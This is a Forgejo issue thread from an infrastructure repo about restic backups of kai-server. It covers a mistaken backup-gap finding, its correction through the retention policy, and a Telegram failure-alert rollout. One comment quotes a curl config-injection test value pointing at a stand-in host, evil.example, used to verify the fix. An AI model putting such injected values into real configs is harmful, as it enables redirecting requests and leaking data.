coilyco-flight-deck/infrastructure
Watch
2
0
Code Issues 110 Pull requests Projects Releases Packages Wiki Activity Actions

restic: finish the failure-alert rollout on kai-server, and test the restore path #917

New issue
Open
opened 2026-08-25 01:36:40 +00:00 by coilyco-ops · 2 comments
coilyco-ops commented 2026-08-25 01:36:40 +00:00
Owner
Copy link

Not the question that was asked

The question was whether the 208.5 GB restic repo on ser8 holds too many backups and should be pruned for space. It does not, and the space case is weak. The check for a retention policy turned up a coverage problem instead, which matters more.

Coverage has holes

Repo /var/lib/rest-server/repos/kai-server, created 2026-08-01 18:19. Snapshots by date:

2026-08-01  x1
2026-08-04  x2
2026-08-05  x1
2026-08-06  x1
2026-08-07  x1
2026-08-09  x1
2026-08-16  x1
2026-08-17  x1
2026-08-18  x1
2026-08-19  x1
2026-08-20  x1
2026-08-21  x1
2026-08-22  x1
2026-08-23  x1
2026-08-24  x1   (11:47, current)

15 snapshots across 24 days. Missing dates:

  • 2026-08-10 through 2026-08-15 - six consecutive days, no snapshot at all
  • 2026-08-02, 2026-08-03
  • 2026-08-08

Recent cadence is clean: every day from the 16th through today. So whatever caused the six-day gap appears to have stopped, but nothing recorded that it happened and nothing would have surfaced it. A six-day hole in the only working backup of kai-server is a real RPO gap, and it was invisible until someone counted files by hand.

No retention policy is running

Every snapshot since repo creation is still present. restic forget deletes snapshot files, and none are missing other than the never-taken dates above. So no forget --prune has ever run against this repo.

That means the repo grows unbounded. 208.5 GB in 24 days is not alarming on its own, since restic deduplicates and most of that is the initial snapshot, but the trajectory is unmanaged rather than chosen.

Why not prune now

Recommending against acting on this for space reasons:

  • There is no pressure. After the cleanup in #916 the node sits at 49.7% with 345.8 GB until critical.
  • This is the only working backup path for kai-server. The k3s snapshot-ship automation (#261) is still open, so this repo is carrying DR on its own.
  • restic forget --prune is irreversible and destroys recovery points. Running it against a repo whose policy nobody has chosen, to reclaim space nobody needs, is the wrong trade.

Space is the weakest reason to touch this repo. Coverage is the good one.

Worth doing instead, unsequenced

  1. Find out what happened between 2026-08-10 and 2026-08-15. Whether the job failed, the host was down, or the schedule lapsed. That determines whether it can recur.
  2. Add failure surfacing. A backup that silently does not run is worse than one that errors loudly. SigNoz already receives logs and has an alerting path, and the estate has a Telegram channel wired for alerts, so a missed-snapshot condition is expressible with what already exists.
  3. Choose a retention policy deliberately (--keep-daily / --keep-weekly / --keep-monthly), then let prune follow from it. The policy decision comes first; the reclaim is a side effect, not the goal.
  4. Confirm the restore path actually works. An untested backup is a hypothesis. Related: #262 promote runbook.

Evidence

Read-only inspection over SSH: directory listing of snapshots/ sorted by mtime, and stat on config for repo creation time. No restic command was run against the repo and no credentials were used, so snapshot contents and sizes are not verified here, only their existence and timing.

## Not the question that was asked The question was whether the 208.5 GB restic repo on ser8 holds too many backups and should be pruned for space. **It does not, and the space case is weak.** The check for a retention policy turned up a coverage problem instead, which matters more. ## Coverage has holes Repo `/var/lib/rest-server/repos/kai-server`, created `2026-08-01 18:19`. Snapshots by date: ``` 2026-08-01 x1 2026-08-04 x2 2026-08-05 x1 2026-08-06 x1 2026-08-07 x1 2026-08-09 x1 2026-08-16 x1 2026-08-17 x1 2026-08-18 x1 2026-08-19 x1 2026-08-20 x1 2026-08-21 x1 2026-08-22 x1 2026-08-23 x1 2026-08-24 x1 (11:47, current) ``` 15 snapshots across 24 days. Missing dates: * **2026-08-10 through 2026-08-15 - six consecutive days, no snapshot at all** * 2026-08-02, 2026-08-03 * 2026-08-08 Recent cadence is clean: every day from the 16th through today. So whatever caused the six-day gap appears to have stopped, but nothing recorded that it happened and nothing would have surfaced it. A six-day hole in the only working backup of kai-server is a real RPO gap, and it was invisible until someone counted files by hand. ## No retention policy is running Every snapshot since repo creation is still present. `restic forget` deletes snapshot files, and none are missing other than the never-taken dates above. So no `forget --prune` has ever run against this repo. That means the repo grows unbounded. 208.5 GB in 24 days is not alarming on its own, since restic deduplicates and most of that is the initial snapshot, but the trajectory is unmanaged rather than chosen. ## Why not prune now Recommending **against** acting on this for space reasons: * There is no pressure. After the cleanup in https://forgejo.coilysiren.me/coilyco-flight-deck/infrastructure/issues/916 the node sits at 49.7% with 345.8 GB until critical. * This is the only working backup path for kai-server. The k3s snapshot-ship automation (#261) is still open, so this repo is carrying DR on its own. * `restic forget --prune` is irreversible and destroys recovery points. Running it against a repo whose policy nobody has chosen, to reclaim space nobody needs, is the wrong trade. Space is the weakest reason to touch this repo. Coverage is the good one. ## Worth doing instead, unsequenced 1. **Find out what happened between 2026-08-10 and 2026-08-15.** Whether the job failed, the host was down, or the schedule lapsed. That determines whether it can recur. 2. **Add failure surfacing.** A backup that silently does not run is worse than one that errors loudly. SigNoz already receives logs and has an alerting path, and the estate has a Telegram channel wired for alerts, so a missed-snapshot condition is expressible with what already exists. 3. **Choose a retention policy deliberately** (`--keep-daily` / `--keep-weekly` / `--keep-monthly`), then let prune follow from it. The policy decision comes first; the reclaim is a side effect, not the goal. 4. Confirm the restore path actually works. An untested backup is a hypothesis. Related: #262 promote runbook. ## Evidence Read-only inspection over SSH: directory listing of `snapshots/` sorted by mtime, and `stat` on `config` for repo creation time. No restic command was run against the repo and no credentials were used, so snapshot contents and sizes are not verified here, only their existence and timing.
coilyco-ops commented 2026-08-25 04:46:37 +00:00
Author
Owner
Copy link

Correction on the central finding. There is no six-day backup gap. Aug 10 through Aug 15 is the retention policy working as designed, and restic forget --prune has run against this repo.

The inference in the body was that missing snapshot dates meant missing backups. It is the opposite: those dates are missing because prune deleted them.

restic-prune is deployed, enabled, and running

It runs on ser8, not kai-server, which is why it is easy to miss. systemd/restic-prune.timer and .service in this repo, installed at /usr/local/sbin/restic-prune:

NEXT                        LEFT   LAST                        PASSED     UNIT
Sun 2026-08-30 05:59:48 UTC 5 days Sun 2026-08-23 05:44:24 UTC 1 day 23h  restic-prune.timer

is-enabled returns enabled. Last run Result=success, ExecMainStatus=0.

The journal for that run is unambiguous:

Aug 23 05:44:25 ser8 restic-prune[3337511]: 6 snapshots have been removed, running prune
Aug 23 05:44:27 ser8 restic-prune[3337511]: finding data that is still in use for 13 snapshots
Aug 23 05:44:28 ser8 restic-prune[3337511]: total prune:       15997 blobs / 2.022 GiB
Aug 23 05:44:28 ser8 restic-prune[3337511]: remaining:        391581 blobs / 197.407 GiB
Aug 23 05:44:29 ser8 restic-prune[3337511]: removing 130 old packs
Aug 23 05:44:29 ser8 restic-prune[3337507]: restic-prune: ok

scripts/restic-prune.sh defaults RESTIC_REPOSITORY to /var/lib/rest-server/repos/kai-server, so it is this repo, not another one. The policy is already chosen in code: --keep-daily 7 --keep-weekly 4 --keep-monthly 3.

The retention math accounts for every missing date

Current snapshot files by date on ser8:

2 2026-08-04     1 2026-08-16     1 2026-08-21
1 2026-08-05     1 2026-08-17     1 2026-08-22
1 2026-08-06     1 2026-08-18     1 2026-08-23
1 2026-08-07     1 2026-08-19     1 2026-08-24
1 2026-08-09     1 2026-08-20

Prune ran 2026-08-23. --keep-daily 7 from that date retains Aug 16 onward, which is exactly the unbroken run the body noticed. Everything earlier is thinned to weekly and monthly.

The survivors before Aug 16 are 08-04 x2, 08-05, 08-06, 08-07, 08-09. That is 7 snapshots, and --keep-weekly 4 plus --keep-monthly 3 is 7. Exact match, not a coincidence.

Aug 02, 03, 08, and 10 through 15 were deleted by policy. So were the six the journal reports removing.

What this changes

  • Do not investigate the Aug 10 to 15 window. Nothing happened there. Item 1 in the body would send someone chasing a phantom.
  • Item 3 is done. The retention policy is chosen, deployed, and enforcing weekly.
  • The space framing was right for the wrong reason. The repo is not growing unbounded. Prune reclaimed 2.022 GiB on its last run and holds unused size at 0.89 percent.

What survives, and it is the real finding

Item 2 stands, and it is now the whole issue. Neither restic-backup.service nor restic-prune.service carries an OnFailure=. Verified by grep against both units. A failing backup would be silent exactly as the body argued, and the only reason that has not bitten is that it has not failed.

Current backup health, for the record: restic-backup.timer on kai-server is enabled, last run Mon 2026-08-24 04:30:36 PDT with Result=success and ExecMainStatus=0, next fires Tue 2026-08-25 04:59:19 PDT.

Item 4 also stands. The restore path is still untested and an untested backup is still a hypothesis.

Suggest retitling to the failure-surfacing gap, since the gap and the retention policy in the current title are both resolved.

How this was checked

Read-only throughout. systemctl list-timers, is-enabled, and show on both hosts, journalctl -u restic-prune.service, a directory listing of snapshots/, and grep against the unit files in this repo. No restic command was run against the repo and no password file was read.

Correction on the central finding. **There is no six-day backup gap.** Aug 10 through Aug 15 is the retention policy working as designed, and `restic forget --prune` has run against this repo. The inference in the body was that missing snapshot dates meant missing backups. It is the opposite: those dates are missing *because* prune deleted them. ## restic-prune is deployed, enabled, and running It runs on **ser8**, not kai-server, which is why it is easy to miss. `systemd/restic-prune.timer` and `.service` in this repo, installed at `/usr/local/sbin/restic-prune`: ``` NEXT LEFT LAST PASSED UNIT Sun 2026-08-30 05:59:48 UTC 5 days Sun 2026-08-23 05:44:24 UTC 1 day 23h restic-prune.timer ``` `is-enabled` returns `enabled`. Last run `Result=success`, `ExecMainStatus=0`. The journal for that run is unambiguous: ``` Aug 23 05:44:25 ser8 restic-prune[3337511]: 6 snapshots have been removed, running prune Aug 23 05:44:27 ser8 restic-prune[3337511]: finding data that is still in use for 13 snapshots Aug 23 05:44:28 ser8 restic-prune[3337511]: total prune: 15997 blobs / 2.022 GiB Aug 23 05:44:28 ser8 restic-prune[3337511]: remaining: 391581 blobs / 197.407 GiB Aug 23 05:44:29 ser8 restic-prune[3337511]: removing 130 old packs Aug 23 05:44:29 ser8 restic-prune[3337507]: restic-prune: ok ``` `scripts/restic-prune.sh` defaults `RESTIC_REPOSITORY` to `/var/lib/rest-server/repos/kai-server`, so it is this repo, not another one. The policy is already chosen in code: `--keep-daily 7 --keep-weekly 4 --keep-monthly 3`. ## The retention math accounts for every missing date Current snapshot files by date on ser8: ``` 2 2026-08-04 1 2026-08-16 1 2026-08-21 1 2026-08-05 1 2026-08-17 1 2026-08-22 1 2026-08-06 1 2026-08-18 1 2026-08-23 1 2026-08-07 1 2026-08-19 1 2026-08-24 1 2026-08-09 1 2026-08-20 ``` Prune ran 2026-08-23. `--keep-daily 7` from that date retains Aug 16 onward, which is exactly the unbroken run the body noticed. Everything earlier is thinned to weekly and monthly. The survivors before Aug 16 are `08-04 x2, 08-05, 08-06, 08-07, 08-09`. That is **7 snapshots**, and `--keep-weekly 4` plus `--keep-monthly 3` is **7**. Exact match, not a coincidence. Aug 02, 03, 08, and 10 through 15 were deleted by policy. So were the six the journal reports removing. ## What this changes * **Do not investigate the Aug 10 to 15 window.** Nothing happened there. Item 1 in the body would send someone chasing a phantom. * **Item 3 is done.** The retention policy is chosen, deployed, and enforcing weekly. * **The space framing was right for the wrong reason.** The repo is not growing unbounded. Prune reclaimed 2.022 GiB on its last run and holds unused size at 0.89 percent. ## What survives, and it is the real finding **Item 2 stands, and it is now the whole issue.** Neither `restic-backup.service` nor `restic-prune.service` carries an `OnFailure=`. Verified by grep against both units. A failing backup would be silent exactly as the body argued, and the only reason that has not bitten is that it has not failed. Current backup health, for the record: `restic-backup.timer` on kai-server is enabled, last run Mon 2026-08-24 04:30:36 PDT with `Result=success` and `ExecMainStatus=0`, next fires Tue 2026-08-25 04:59:19 PDT. **Item 4 also stands.** The restore path is still untested and an untested backup is still a hypothesis. Suggest retitling to the failure-surfacing gap, since the gap and the retention policy in the current title are both resolved. ## How this was checked Read-only throughout. `systemctl list-timers`, `is-enabled`, and `show` on both hosts, `journalctl -u restic-prune.service`, a directory listing of `snapshots/`, and `grep` against the unit files in this repo. No restic command was run against the repo and no password file was read.
coilyco-ops commented 2026-08-25 05:47:05 +00:00
Author
Owner
Copy link

Failure surfacing landed in #921, plus a follow-up in #922. This is the item that survived the correction above, and it is now half rolled out.

What shipped

Both units carry OnFailure=restic-failure-alert@%N.service. The handler posts the unit, its Result and ExecMainStatus, and the tail of its journal to the Telegram red channel, reading the token from the fleet-o11y cache the o11y-telegram role already stages.

Two things worth recording:

  • Automated review caught a real bug before it shipped, and it was worse than the security finding it was flagged as. The journal text was spliced into curl's -K config, which curl parses line by line, so every send would have died at option -K: error encountered when reading a file before any request left the host. An alerter that silently does not alert is precisely what this issue asked to prevent. Only the token and chat id go through the config now; the journal text is on argv where curl URL-encodes it. Verified against a local sink with a hostile journalctl emitting url = "http://evil.example/pwn": it arrives as encoded body text and nothing reaches that host.
  • %n versus %N. %n keeps the type suffix, so the handler instantiated as restic-failure-alert@restic-prune.service.service. It worked, but the name reads like a bug in exactly the place someone meets it during an incident. Fixed in #922.

Rollout status

ser8: done and verified.

/etc/systemd/system/restic-failure-alert@.service   installed
/usr/local/sbin/restic-failure-alert                installed
restic-prune.service OnFailure  ->  restic-failure-alert@restic-prune.service
handler ExecStart argv[]        ->  /usr/local/sbin/restic-failure-alert restic-prune

systemd 259 instantiates and runs it to status=0/SUCCESS.

kai-server: not applied. It fails unattended with Missing sudo password, which is environmental rather than anything about this change. So restic-prune is covered and restic-backup is not, and restic-backup is the one that matters more.

just ansible-sync apply fleet privileged tags=restic-backup hosts=kai-server ask_pass

The same wall is blocking the k3s pod-resolver fix in #864. If it keeps recurring it deserves its own issue.

Still open on this issue

Item 4 from the body: the restore path is untested. Nothing here changes that, and an untested backup is still a hypothesis. Related: #262.

Suggest this issue stays open for item 4 and the kai-server rollout, and that the title moves off the gap and retention framing, both of which were resolved or never real.

Failure surfacing landed in #921, plus a follow-up in #922. This is the item that survived the correction above, and it is now half rolled out. ## What shipped Both units carry `OnFailure=restic-failure-alert@%N.service`. The handler posts the unit, its `Result` and `ExecMainStatus`, and the tail of its journal to the Telegram red channel, reading the token from the `fleet-o11y` cache the `o11y-telegram` role already stages. Two things worth recording: * **Automated review caught a real bug before it shipped**, and it was worse than the security finding it was flagged as. The journal text was spliced into curl's `-K` config, which curl parses line by line, so every send would have died at `option -K: error encountered when reading a file` before any request left the host. An alerter that silently does not alert is precisely what this issue asked to prevent. Only the token and chat id go through the config now; the journal text is on argv where curl URL-encodes it. Verified against a local sink with a hostile `journalctl` emitting `url = "http://evil.example/pwn"`: it arrives as encoded body text and nothing reaches that host. * **`%n` versus `%N`.** `%n` keeps the type suffix, so the handler instantiated as `restic-failure-alert@restic-prune.service.service`. It worked, but the name reads like a bug in exactly the place someone meets it during an incident. Fixed in #922. ## Rollout status **ser8: done and verified.** ``` /etc/systemd/system/restic-failure-alert@.service installed /usr/local/sbin/restic-failure-alert installed restic-prune.service OnFailure -> restic-failure-alert@restic-prune.service handler ExecStart argv[] -> /usr/local/sbin/restic-failure-alert restic-prune ``` systemd 259 instantiates and runs it to `status=0/SUCCESS`. **kai-server: not applied.** It fails unattended with `Missing sudo password`, which is environmental rather than anything about this change. So `restic-prune` is covered and `restic-backup` is not, and `restic-backup` is the one that matters more. ``` just ansible-sync apply fleet privileged tags=restic-backup hosts=kai-server ask_pass ``` The same wall is blocking the k3s pod-resolver fix in #864. If it keeps recurring it deserves its own issue. ## Still open on this issue **Item 4 from the body: the restore path is untested.** Nothing here changes that, and an untested backup is still a hypothesis. Related: #262. Suggest this issue stays open for item 4 and the kai-server rollout, and that the title moves off the gap and retention framing, both of which were resolved or never real.
coilyco-ops changed title from restic backups of kai-server have a 6-day gap and no retention policy to restic: finish the failure-alert rollout on kai-server, and test the restore path 2026-08-25 05:47:06 +00:00
Sign in to join this conversation.
No Branch/Tag specified
Branches Tags
main
aos/claude/uv47-state-ambient-taxonomy
eval/ansible-slug-tidy
eval/label-advocate
aos/claude/mt75-kubectl-context-callsites
eval/slug-pass-labels
aos/claude/mt75-coredns-hairpin
eval/label-devrel-relations
eval/label-platform-engineer
eval/label-descriptions-retitle
eval/label-descriptions-roster
aos/claude/wz68-mirror-push
aos/claude/wz68-mirror-watch
aos/claude/wz68-bot-identity
aos/claude/wz68-bot-handle
aos/claude/wz68
aos/claude/ff54-retire-coilyco-ai-hook
aos/claude/ff54-retire-issue-refs
aos/claude/ue86
aos/claude/yq86
aos/claude/ser8-image-build-929
ops/zombie-retire-secret-strays
ops/917-alert-unit-name
ops/917-restic-failure-alert
ops/914-drop-comfyui-cname
ops/914-drop-stale-dns-instruction
ops/retire-coilysiren-me-mail
ops/911-dns-mail-auth
aos/claude/fj88
ops/393-aos-pin-rollout
ops/708-o11y-telegram-per-host-cache
chore/claude-permissions-allow-all
fix/comfyui-preflight-whatif
fix/comfyui-supervisor-job-object
fix/forgejo-creds-windows-ssm
fix/comfyui-orphan-on-refused-restart
fix/windows-projects-root
fix/comfyui-restart-race
windows-tasks-s4u
windows-attribution-bash-shim-python
fix/comfyui-whatif-verification
windows-terminal-kai-tower-3026
fix/setup-git-lfs-windows-path
chore/drop-ward-yaml
fix/terraform-docs-action-arg
fix/mint-key-orphan
feat/public-asset-host
aos/claude/ka54-failclosed
aos/claude/ka54-cleanup
aos/claude/ka54
aos/claude/uq98-unattended-forgejo
aos/claude/uq98-disk-domains
aos/claude/xk58
aos/claude/aw85-bands
aos/claude/ym96-docs-band
aos/claude/wt57-alerts-to-mapper
aos/claude/xu59-role-trailer
aos/claude/ym96-verb-convert
aos/claude/ym96-token-cleanup
aos/claude/ym96-label-sync
aos/claude/wt57-atlas-cleanup
fix/mirror-unskip-sirens-echo
aos/claude/uz86-session-name
retire-code-fleet-watch-830
codex/alacritty-link-rollout
chore/mcp-beaver-fleet-watch
aos/claude/attribution-interpreter
aos/claude/mg96-fm
aos/claude/js44
coilyco-ops/deprovision-tangled-knot
aos/claude/mg96
aos/claude/zv96
outdated-branch-815
aos/claude/agent-proxy-publisher-runner
aos/claude/git-attribution-pin-interpreter
aos/claude/restore-tag-quarantine
aos/claude/mirror-workflows-permission
aos/claude/forgejo-16
aos/claude/dind-mtu
aos/claude/precommit-egress-proxy
aos/claude/qa57-branch-protection
chore/egress-proxy-open
chore/egress-allow-code-forgejo
aos/claude/qa57
chore/aos-precommit-v0.18-bump
aos/claude/ck67
infra/claude/ser8-runner-force-pull
aos/claude/runner-scratch-10gi
aos/claude/runner-recycle-selector
aos/claude/xk86
aos/codex/20260806t002312z-7943-00371332
codex/sirens-echo-deepseek-tailnet-20260805
codex/daily-aos-sync
issue-756-remove-role-provider-symlink
aos/codex/sirens-echo-runner-rename
aos/codex/20260731t171534z-9817-e7959fba
issue-697-aos-check-config
issue-694-aos-convergence
ops/remove-mac-models-launchd-20260729
ops/remove-mac-models-20260729
tailscale-proxy-converge-self-heal
issue-587
backup/issue-785-first-person
issue-785-first-person
ops/galaxy-gen-registry-rotate
ops/website-deploy-runner
codex/history-derived-skill-20260728
ops/k3s-pod-capacity-config
ops/publisher-runners
codex/code-fleet-watch-v2
codex/code-fleet-watch
recovery/2026-07-28-triaged-branch-archive
recovery/2026-07-27-local-work
recovery/machine-exit-20260727
issue-653-registry-retirement
issue-593
fix/aws-iam-ssm-import
feat/warded-ssm-identity
issue-500
No results found.
Labels
Clear labels   
burndown-2026-06
Backlog burndown June 2026

  
burndown-2026-08
Closed in the 2026-08-26 backlog burn-down. Reopen freely: state:closed label:burndown-2026-08 recovers the whole set.

  
autonomy
async-consult
 A human needs to consult on the issue to upgrade it to headless

  
autonomy
epic
 This issue has many units of sub work - its size makes it meaningfully exclusive with other autonomy types

  
autonomy
headless
 The agent can perform the work on its own

  
autonomy
live-collab
 The agent and the human need to work together in realtime

  
coherence-core
Core review set for the warded control plane coherence milestone. These issues form the release spine; adjacent milestone issues are stretch or supporting work.

  
priority
P0
 priority tier

  
priority
P1
 priority tier

  
priority
P2
 priority tier

  
priority
P3
 priority tier

  
priority
P4
 priority tier

  
qa-fixture
Disposable issue admitted to the bounded Ward QA verification lane.

  
role/advocate
requires work from the Developer Advocate seat

  
role/director
requires work from the Portfolio Director seat

  
role/exec
requires work from the exec role

  
role/frontend
requires work from the Frontend Engineer seat

  
role/gamedev
requires work from the Game Developer seat

  
role/human
requires a person, and specifically not an agent seat

  
role/platform
requires work from the Platform Engineer seat

  
role/qa
requires work from the QA role

  
role/science
requires work from the Applied Scientist seat

  
role/sysadmin
requires work from the Systems Administrator seat

  
state
ambient
 ambient and ephemeral work, held as a maintained document rather than a queue

No labels
burndown-2026-06
burndown-2026-08
autonomy
async-consult
autonomy
epic
autonomy
headless
autonomy
live-collab
coherence-core
priority
P0
priority
P1
priority
P2
priority
P3
priority
P4
qa-fixture
role/advocate
role/director
role/exec
role/frontend
role/gamedev
role/human
role/platform
role/qa
role/science
role/sysadmin
state
ambient
Milestone
Clear milestone
No items
Projects
Clear projects
No items
No project
Assignees
Clear assignees
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
coilyco-flight-deck/infrastructure#917
No description provided.